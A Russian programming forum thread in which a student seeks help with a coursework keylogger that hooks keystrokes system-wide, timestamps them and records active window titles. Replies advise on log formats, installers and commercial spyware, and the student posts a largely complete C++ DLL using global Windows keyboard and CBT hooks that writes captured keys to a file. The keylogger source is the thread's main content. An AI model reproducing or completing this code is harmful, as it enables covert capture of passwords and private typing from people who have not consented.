Кейлоггер

@Lenoriya · Регистрация: 18.10.2010

Студворк — интернет-сервис помощи студентам

Здравствуйте!
Задание звучит так:
Перехват и анализ нажатия клавиш на клавиатуре. Состоит из сервиса - перехватчика нажатия клавиш на клавиатуре и ведения лога нажатых клавиш по времени, а также программа просмотра логов и инсталляции сервиса перехватчика при первом запуске программы на компьютере.

А вот и вопросы:
1.Как обыграть время? Не пойму, когда его записывать в лог - поминутно или же вести буфер набранных символов? Подскажите красивый вариант.
2. Не работает с русскими шрифтами =( Подозреваю, что проблема с MapVirtualKey(wParam,0).
3. Инсталлятор через что создать? Попробовала CreateInstallFree.
4. Просмотр логов ведь не должен из кейлоггера осуществляться?

cpp_developer · 18.04.2012, 00:16

Lenoriya, посмотрите Дневник из Punto Switcher

@QWIPQ · 18.04.2012, 00:18

Сообщение от Lenoriya

А вот и вопросы:
1.Как обыграть время? Не пойму, когда его записывать в лог - поминутно или же вести буфер набранных символов? Подскажите красивый вариант.
2. Не работает с русскими шрифтами =( Подозреваю, что проблема с MapVirtualKey(wParam,0).
3. Инсталлятор через что создать? Попробовала CreateInstallFree.
4. Просмотр логов ведь не должен из кейлоггера осуществляться?

1. лучше разбить на подпункты и сделать небольшую БД (например: Время, окно, нажатые клавиши)
время лучше записывать после того как например: сменили окно или ссылку в контакте, проще говоря временно прекратили работу с одним окном и перешли на др
2. в принципе можно попробывать отловить раскладку клавиатуры по API функции какой-нить! после чего принять значение от нее и менять свою виртуальную клаву исходя из того какая раскладка на компе. затем уже мног вариантов как поступать... также по API функции или по OnKeyPress например.
3. например: прога Inno Setup - http://www.jrsoftware.org/ сам не юзал но советовали. (погугли лучше эт момент)
4. кейлогеры: KGB Spy, Actual Spy, StaffCop - формируют отчет по требованию

P.S. лучше скачать кейлог любой из приведенных и глянь что да как!!! +можн запаролить вход в прогу

@Lenoriya · 18.04.2012, 11:01 **[ТС]**

Вот функция перевода нажатых клавиш в текст. С английским всё норм, а как с русским? Должно же работать!

C++
1
2
3
4
5
6
7
8
9
10
11
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol;
    GetKeyboardState(btKeyState);
    if((ToAsciiEx(wParam,MapVirtualKey(wParam,0),btKeyState,&Symbol,0,hklLayout)==1)&&
    (GetKeyState(VK_CONTROL)>=0)&&(GetKeyState(VK_MENU)>=0)) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}

И у меня не требуется определение приложения, в котором вводится текст. Так что какие ещё варианты обработки время?

cpp_developer · 18.04.2012, 11:15

Клавиатурный сниффер

@vxg · 19.04.2012, 12:54

Сообщение от LK

Клавиатурный сниффер

у меня чето не работает. и вообще какой то странный код (как и все что я встречал на эту тему не говоря уже о странностях документации на все эти дела), например вызов

C++
1
CallNextHookEx(hhookKbd,nCode,wParam,lParam);

не учитывает то что

C++
1
hhookKbd = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,(HINSTANCE)g_hMod,0);

только у первого загружаемого лаунчером модуля. у всех остальных он NULL

@QWIPQ · 19.04.2012, 14:12

Сообщение от Lenoriya

C++
1
2
3
4
5
6
7
8
9
10
11
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol;
    GetKeyboardState(btKeyState);
    if((ToAsciiEx(wParam,MapVirtualKey(wParam,0),btKeyState,&Symbol,0,hklLayout)==1)&&
    (GetKeyState(VK_CONTROL)>=0)&&(GetKeyState(VK_MENU)>=0)) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}

долго ломал голову где видел эт кусок)))) копипаст рулит)))

Сообщение от Lenoriya

И у меня не требуется определение приложения, в котором вводится текст.Так что какие ещё варианты обработки время?

тебе над время и дату привязать к чему-то существенному... в том примере который ты используешь это приложение...

ИДЕЯ №2: реализуй отсчет времени интервала нажатия клавиши... например: если временной интервал между набором символов >=10 секунд то приписывает в файл отчета время и дата и это новая запись, а если < 10 то обновляешь время последнего нажатия и продолжаешь писать в файл отчета со старым временем...

P.S. проще было бы сделать как в источнике копипаст рулит))

@vxg · 19.04.2012, 15:23

Сообщение от QWIPQ

копипаст рулит))

по этой ссылке они хотя бы разделяют хэндл между всеми экземплярами модулей (хотя не ясно как сделать такой фокус в Builder). однако hKeyHook по прежнему поднимается только для лаунчера. хоть тема и древняя и вроде как всеми описанная я так и не понял как народ собирался заставить это работать..

@Lenoriya · 22.04.2012, 19:22 **[ТС]**

Осталась пара вопросов:
1. нужна ли установка секции, а то 9-ую строку билдер не признает и ругается
2. программа выводит название окна, если оно меняется. Как сделать обработку, чтобы выводилось название только тех окон, в которых был набран текст.
Вот моя Dll.

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <vcl.h>
#include <windows.h>
#include <stdio.h>
#include <locale.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL;
#pragma data_seg() // конец секции
//#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
HANDLE hFile=NULL;
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    SYSTEMTIME time;
    char buffer[30];
 
    GetLocalTime(&time); // получаем дату и время
// форматируем это в String
    sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                    time.wMonth,time.wYear,time.wHour,time.wMinute);
 
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
 
    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
    WriteTime(); // сначала пишем время
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    char buffer[250];
    char title[256];
    GetWindowText(hWnd,title,100); // получаем имя
    sprintf(buffer," %s\r\n",title);
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
 
    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol; 
    GetKeyboardState(btKeyState); 
    if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                 GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    short wc;
 
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
    setlocale(LC_ALL,"");
 
    if(wParam==VK_RETURN) 
        WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
    else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
        if(iswprint(wc)) // проверяем или знак текстовой
            WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
     {
        case DLL_PROCESS_ATTACH:
        {
            if(!hi)
                hi=hModule;
 
                char pfad[30] =TEXT("c:\\KeySpy.txt");
 
            if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                    {
                    return FALSE;
                    }
             break;
        }
 
         case DLL_PROCESS_DETACH:
        {
         UnhookWindowsHookEx(hKeyHook);
         UnhookWindowsHookEx(hCBTHook);
         CloseHandle(hFile);
            break;
        }
        default:
            break;
    }
    return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) // вызывается при нажатии или отпускании клавиши
{
    if (nCode)
        return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
    if(lParam>=0) // нам нужно только нажатие
        WriteSymbol(wParam);
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode==HCBT_ACTIVATE)
            WriteTitle((HWND)wParam);
    return CallNextHookEx(hCBTHook, nCode, wParam, lParam);
}
 
BOOL SetKeyboardHook(void)
{
    hKeyHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hi,0);
    hCBTHook=SetWindowsHookEx(WH_CBT ,(HOOKPROC)CBTProc,hi,0);
    return hKeyHook && hCBTHook;
}

Новые блоги и статьи Все статьи Все блоги /
Вывод диалогового окна перед закрытием, если документ не проведён Maks 04.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать программный контроль на предмет проведения документа. . .	Программный контроль заполнения реквизита табличной части документа Maks 02.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать контроль заполнения реквизита "ПричинаСписания". . .	wmic не является внутренней или внешней командой Maks 02.04.2026 Решение: DISM / Online / Add-Capability / CapabilityName:WMIC~~~~ Отсюда: https:/ / winitpro. ru/ index. php/ 2025/ 02/ 14/ komanda-wmic-ne-naydena/	Программная установка даты и запрет ее изменения Maks 02.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: при создании документов установить период списания автоматически. . .
Вывод данных в справочнике через динамический список Maks 01.04.2026 Реализация из решения ниже выполнена на примере нетипового справочника "Спецтехника" разработанного в конфигурации КА2. Задача: вывести данные из ТЧ нетипового документа. . .	Программное заполнения текстового поля в реквизите формы документа Maks 01.04.2026 Алгоритм из решения ниже реализован на нетиповом документе "ВыдачаОборудованияНаСпецтехнику" разработанного в конфигурации КА2, в дополнении к предыдущему решению. На форме документа создается. . .	К слову об оптимизации kumehtar 01.04.2026 Вспоминаю начало 2000-х, университет, когда я писал на Delphi. Тогда среди программистов на форумах активно обсуждали аккуратную работу с памятью: нужно было следить за переменными, вовремя. . .	Идея фильтра интернета (сервер = слой+фильтр). Hrethgir 31.03.2026 Суть идеи заключается в том, чтобы запустить свой сервер, о чём я если честно мечтал давно и давно приобрёл книгу как это сделать. Но не было причин его запускать. Очумелые учёные напечатали на. . .

cpp_developer 20124 / 5691 / 417 Регистрация: 09.04.2010 Сообщений: 22,546 Записей в блоге: 1
	18.04.2012, 00:16
	Lenoriya, посмотрите Дневник из Punto Switcher 1

cpp_developer 20124 / 5691 / 417 Регистрация: 09.04.2010 Сообщений: 22,546 Записей в блоге: 1
	18.04.2012, 11:15
	Сообщение было отмечено как решение Решение Клавиатурный сниффер 3

Кейлоггер

Решение